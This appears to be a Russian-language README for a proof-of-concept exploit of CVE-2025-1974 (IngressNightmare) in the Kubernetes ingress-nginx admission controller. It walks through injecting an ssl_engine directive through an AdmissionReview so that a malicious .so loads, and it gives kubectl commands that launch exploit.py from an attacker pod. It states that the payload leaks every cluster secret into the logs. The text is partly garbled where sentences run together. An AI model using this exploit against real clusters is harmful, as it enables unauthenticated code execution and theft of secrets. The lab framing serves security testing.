
PoC эскалации RCE для ingress-nginx admission controller
CVE-2025-1974 (IngressNightmare) — это критическая (CVSS 9.8) уязвимость удалённого выполнения кода без аутентификации в admission controller'е Kubernetes ingress-nginx.
Схема атаки:
AdmissionReview) с аннотацией, внедряющей директиву ssl_enginenginx -t, который загружает и выполняет вредоносный .soВоздействие:
Запустите предоставленный скрипт ./setup_cve_env. Он установит все необходимые инструменты (minikube, kubectl, helm) и создаст одноузловой кластер minikube. Затем в кластер будет развёрнута уязвимая версия NGINX ingress-controller вместе с подом attacker, который будет использовать admission webhook контроллера для отправки полезной нагрузки.
WEBHOOK_IP=$(kubectl get pod -n ingress-nginx -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].status.podIP}')
kubectl exec attacker -- python3 /tmp/exploit.py $WEBHOOK_IP
В логах ошибок ответа будет отображаться CVE-2025-1974 RCE TRIGGERED. Кроме того, логи ошибок будут извлекать секреты, так как под ingress controller имеет доступ ко всем секретам кластера.
Полезная нагрузка .so также создаст файл pwned. Проверьте его наличие командой:
kubectl exec -n ingress-nginx $CPOD -- ls -l /tmp/pwned